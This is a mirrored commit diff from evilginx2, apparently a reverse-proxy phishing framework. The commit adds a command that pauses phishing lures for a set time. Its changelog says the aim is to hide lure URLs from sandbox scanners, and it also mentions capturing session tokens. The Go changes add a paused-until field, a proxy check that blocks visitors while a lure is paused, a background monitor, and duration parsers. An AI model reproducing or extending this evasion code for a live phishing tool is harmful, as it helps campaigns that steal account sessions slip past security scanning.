mirror of
https://github.com/kgretzky/evilginx2
synced 2026-06-08 15:15:53 +00:00
added ability to pause lures for specific time duration
This commit is contained in:
@@ -1,11 +1,13 @@
|
||||
# Unreleased
|
||||
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
|
||||
- Feature: Lures can now be paused for fixed time duration with `lures pause <id>`. Useful when you want to briefy redirect your lure URL when you know sandboxes will try to scan them.
|
||||
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
|
||||
- Feature: Added default `redirect_url` in phishlets to hold a default redirect URL, to redirect to once tokens are captured, when it is not set in used phishing lure. `redirect_url` set for the lure will override this.
|
||||
- Feature: You can now override global unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
|
||||
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
|
||||
- Fixed: Fixed HTTP status code response for Javascript redirects.
|
||||
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.
|
||||
- Fixed: Removed `ua_filter` column from lures list view. It is still viewable in lure detailed view.
|
||||
|
||||
# 3.1.0
|
||||
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
|
||||
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}
|
||||
|
||||
type Lure struct {
|
||||
Id string `mapstructure:"id" json:"id" yaml:"id"`
|
||||
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
|
||||
Path string `mapstructure:"path" json:"path" yaml:"path"`
|
||||
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
|
||||
@@ -26,6 +27,7 @@ type Lure struct {
|
||||
OgDescription string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
|
||||
OgImageUrl string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
|
||||
OgUrl string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
|
||||
PausedUntil int64 `mapstructure:"paused" json:"paused" yaml:"paused"`
|
||||
}
|
||||
|
||||
type SubPhishlet struct {
|
||||
@@ -78,6 +80,7 @@ type Config struct {
|
||||
activeHostnames []string
|
||||
redirectorsDir string
|
||||
lures []*Lure
|
||||
lureIds []string
|
||||
subphishlets []*SubPhishlet
|
||||
cfg *viper.Viper
|
||||
}
|
||||
@@ -161,6 +164,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig)
|
||||
c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates)
|
||||
|
||||
for i := 0; i < len(c.lures); i++ {
|
||||
c.lureIds = append(c.lureIds, GenRandomToken())
|
||||
}
|
||||
|
||||
return c, nil
|
||||
}
|
||||
|
||||
@@ -622,6 +629,7 @@ func (c *Config) CleanUp() {
|
||||
|
||||
func (c *Config) AddLure(site string, l *Lure) {
|
||||
c.lures = append(c.lures, l)
|
||||
c.lureIds = append(c.lureIds, GenRandomToken())
|
||||
c.cfg.Set(CFG_LURES, c.lures)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
@@ -640,6 +648,7 @@ func (c *Config) SetLure(index int, l *Lure) error {
|
||||
func (c *Config) DeleteLure(index int) error {
|
||||
if index >= 0 && index < len(c.lures) {
|
||||
c.lures = append(c.lures[:index], c.lures[index+1:]...)
|
||||
c.lureIds = append(c.lureIds[:index], c.lureIds[index+1:]...)
|
||||
} else {
|
||||
return fmt.Errorf("index out of bounds: %d", index)
|
||||
}
|
||||
@@ -650,16 +659,19 @@ func (c *Config) DeleteLure(index int) error {
|
||||
|
||||
func (c *Config) DeleteLures(index []int) []int {
|
||||
tlures := []*Lure{}
|
||||
tlureIds := []string{}
|
||||
di := []int{}
|
||||
for n, l := range c.lures {
|
||||
if !intExists(n, index) {
|
||||
tlures = append(tlures, l)
|
||||
tlureIds = append(tlureIds, c.lureIds[n])
|
||||
} else {
|
||||
di = append(di, n)
|
||||
}
|
||||
}
|
||||
if len(di) > 0 {
|
||||
c.lures = tlures
|
||||
c.lureIds = tlureIds
|
||||
c.cfg.Set(CFG_LURES, c.lures)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
@@ -273,6 +273,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
// session cookie not found
|
||||
if !p.cfg.IsSiteHidden(pl_name) {
|
||||
if l != nil {
|
||||
// check if lure is not paused
|
||||
if l.PausedUntil > 0 && time.Unix(l.PausedUntil, 0).After(time.Now()) {
|
||||
log.Warning("[%s] lure is paused: %s [%s]", hiblue.Sprint(pl_name), req_url, remote_addr)
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
|
||||
// check if lure user-agent filter is triggered
|
||||
if len(l.UserAgentFilter) > 0 {
|
||||
|
||||
+88
-7
@@ -88,6 +88,7 @@ func (t *Terminal) DoWork() {
|
||||
t.manageCertificates(true)
|
||||
|
||||
t.output("%s", t.sprintPhishletStatus(""))
|
||||
go t.monitorLurePause()
|
||||
|
||||
for !do_quit {
|
||||
line, err := t.rl.Readline()
|
||||
@@ -649,6 +650,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
|
||||
func (t *Terminal) handleLures(args []string) error {
|
||||
hiblue := color.New(color.FgHiBlue)
|
||||
yellow := color.New(color.FgYellow)
|
||||
higreen := color.New(color.FgHiGreen)
|
||||
green := color.New(color.FgGreen)
|
||||
//hiwhite := color.New(color.FgHiWhite)
|
||||
hcyan := color.New(color.FgHiCyan)
|
||||
@@ -799,6 +801,53 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("incorrect number of arguments")
|
||||
case "pause":
|
||||
if pn == 3 {
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
if err != nil {
|
||||
return fmt.Errorf("pause: %v", err)
|
||||
}
|
||||
l, err := t.cfg.GetLure(l_id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("pause: %v", err)
|
||||
}
|
||||
s_duration := args[2]
|
||||
|
||||
t_dur, err := ParseDurationString(s_duration)
|
||||
if err != nil {
|
||||
return fmt.Errorf("pause: %v", err)
|
||||
}
|
||||
t_now := time.Now()
|
||||
log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05"))
|
||||
log.Info("unpauses at: %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05"))
|
||||
|
||||
l.PausedUntil = t_now.Add(t_dur).Unix()
|
||||
err = t.cfg.SetLure(l_id, l)
|
||||
if err != nil {
|
||||
return fmt.Errorf("edit: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
case "unpause":
|
||||
if pn == 2 {
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
if err != nil {
|
||||
return fmt.Errorf("pause: %v", err)
|
||||
}
|
||||
l, err := t.cfg.GetLure(l_id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("pause: %v", err)
|
||||
}
|
||||
|
||||
log.Info("lure for phishlet '%s' unpaused", l.Phishlet)
|
||||
|
||||
l.PausedUntil = 0
|
||||
err = t.cfg.SetLure(l_id, l)
|
||||
if err != nil {
|
||||
return fmt.Errorf("edit: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
case "edit":
|
||||
if pn == 4 {
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
@@ -1017,8 +1066,10 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
|
||||
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
|
||||
var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))
|
||||
|
||||
keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"}
|
||||
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
|
||||
log.Printf("\n%s\n", AsRows(keys, vals))
|
||||
|
||||
return nil
|
||||
@@ -1028,6 +1079,33 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
return fmt.Errorf("invalid syntax: %s", args)
|
||||
}
|
||||
|
||||
func (t *Terminal) monitorLurePause() {
|
||||
var pausedLures map[string]int64
|
||||
pausedLures = make(map[string]int64)
|
||||
|
||||
for {
|
||||
t_cur := time.Now()
|
||||
|
||||
for n, l := range t.cfg.lures {
|
||||
if l.PausedUntil > 0 {
|
||||
l_id := t.cfg.lureIds[n]
|
||||
t_pause := time.Unix(l.PausedUntil, 0)
|
||||
if t_pause.After(t_cur) {
|
||||
pausedLures[l_id] = l.PausedUntil
|
||||
} else {
|
||||
if _, ok := pausedLures[l_id]; ok {
|
||||
log.Info("[%s] lure (%d) is now active", l.Phishlet, n)
|
||||
}
|
||||
pausedLures[l_id] = 0
|
||||
l.PausedUntil = 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Terminal) createHelp() {
|
||||
h, _ := NewHelp()
|
||||
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
|
||||
@@ -1076,7 +1154,7 @@ func (t *Terminal) createHelp() {
|
||||
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
|
||||
|
||||
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
|
||||
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
|
||||
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("pause"), readline.PcItem("unpause"),
|
||||
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))),
|
||||
readline.PcItem("delete", readline.PcItem("all"))))
|
||||
|
||||
@@ -1087,6 +1165,8 @@ func (t *Terminal) createHelp() {
|
||||
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
|
||||
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
|
||||
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
|
||||
h.AddSubCommand("lures", []string{"pause"}, "pause <id> <1d2h3m4s>", "pause lure <id> for specific amount of time and redirect visitors to `unauth_url`")
|
||||
h.AddSubCommand("lures", []string{"unpause"}, "unpause <id>", "unpause lure <id> and make it available again")
|
||||
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit <id> redirector <path>", "sets an html redirector directory <path> for a lure with a given <id>")
|
||||
@@ -1273,15 +1353,13 @@ func (t *Terminal) sprintIsEnabled(enabled bool) string {
|
||||
|
||||
func (t *Terminal) sprintLures() string {
|
||||
higreen := color.New(color.FgHiGreen)
|
||||
green := color.New(color.FgGreen)
|
||||
//hired := color.New(color.FgHiRed)
|
||||
hiblue := color.New(color.FgHiBlue)
|
||||
yellow := color.New(color.FgYellow)
|
||||
cyan := color.New(color.FgCyan)
|
||||
hcyan := color.New(color.FgHiCyan)
|
||||
white := color.New(color.FgHiWhite)
|
||||
//n := 0
|
||||
cols := []string{"id", "phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "og"}
|
||||
cols := []string{"id", "phishlet", "hostname", "path", "redirector", "redirect_url", "paused", "og"}
|
||||
var rows [][]string
|
||||
for n, l := range t.cfg.lures {
|
||||
var og string
|
||||
@@ -1305,7 +1383,10 @@ func (t *Terminal) sprintLures() string {
|
||||
} else {
|
||||
og += "-"
|
||||
}
|
||||
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
|
||||
|
||||
var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))
|
||||
|
||||
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), yellow.Sprint(l.RedirectUrl), s_paused, og})
|
||||
}
|
||||
return AsTable(cols, rows)
|
||||
}
|
||||
|
||||
@@ -7,6 +7,9 @@ import (
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func GenRandomToken() string {
|
||||
@@ -75,3 +78,95 @@ func SaveToFile(b []byte, fpath string, perm fs.FileMode) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func ParseDurationString(s string) (t_dur time.Duration, err error) {
|
||||
const DURATION_TYPES = "dhms"
|
||||
|
||||
t_dur = 0
|
||||
err = nil
|
||||
|
||||
var days, hours, minutes, seconds int64
|
||||
var last_type_index int = -1
|
||||
var s_num string
|
||||
for _, c := range s {
|
||||
if c >= '0' && c <= '9' {
|
||||
s_num += string(c)
|
||||
} else {
|
||||
if len(s_num) > 0 {
|
||||
m_index := strings.Index(DURATION_TYPES, string(c))
|
||||
if m_index >= 0 {
|
||||
if m_index > last_type_index {
|
||||
last_type_index = m_index
|
||||
var val int64
|
||||
val, err = strconv.ParseInt(s_num, 10, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
switch c {
|
||||
case 'd':
|
||||
days = val
|
||||
case 'h':
|
||||
hours = val
|
||||
case 'm':
|
||||
minutes = val
|
||||
case 's':
|
||||
seconds = val
|
||||
}
|
||||
} else {
|
||||
err = fmt.Errorf("you can only use time duration types in following order: 'd' > 'h' > 'm' > 's'")
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err = fmt.Errorf("unknown time duration type: '%s', you can use only 'd', 'h', 'm' or 's'", string(c))
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err = fmt.Errorf("time duration value needs to start with a number")
|
||||
return
|
||||
}
|
||||
s_num = ""
|
||||
}
|
||||
}
|
||||
t_dur = time.Duration(days)*24*time.Hour + time.Duration(hours)*time.Hour + time.Duration(minutes)*time.Minute + time.Duration(seconds)*time.Second
|
||||
return
|
||||
}
|
||||
|
||||
func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) {
|
||||
var days, hours, minutes, seconds int64
|
||||
ret = ""
|
||||
|
||||
if t_expire.After(t_now) {
|
||||
t_dur := t_expire.Sub(t_now)
|
||||
if t_dur > 0 {
|
||||
days = int64(t_dur / (24 * time.Hour))
|
||||
t_dur -= time.Duration(days) * (24 * time.Hour)
|
||||
|
||||
hours = int64(t_dur / time.Hour)
|
||||
t_dur -= time.Duration(hours) * time.Hour
|
||||
|
||||
minutes = int64(t_dur / time.Minute)
|
||||
t_dur -= time.Duration(minutes) * time.Minute
|
||||
|
||||
seconds = int64(t_dur / time.Second)
|
||||
|
||||
var forcePrint bool = false
|
||||
if days > 0 {
|
||||
forcePrint = true
|
||||
ret += fmt.Sprintf("%dd", days)
|
||||
}
|
||||
if hours > 0 || forcePrint {
|
||||
forcePrint = true
|
||||
ret += fmt.Sprintf("%dh", hours)
|
||||
}
|
||||
if minutes > 0 || forcePrint {
|
||||
forcePrint = true
|
||||
ret += fmt.Sprintf("%dm", minutes)
|
||||
}
|
||||
if seconds > 0 || forcePrint {
|
||||
forcePrint = true
|
||||
ret += fmt.Sprintf("%ds", seconds)
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user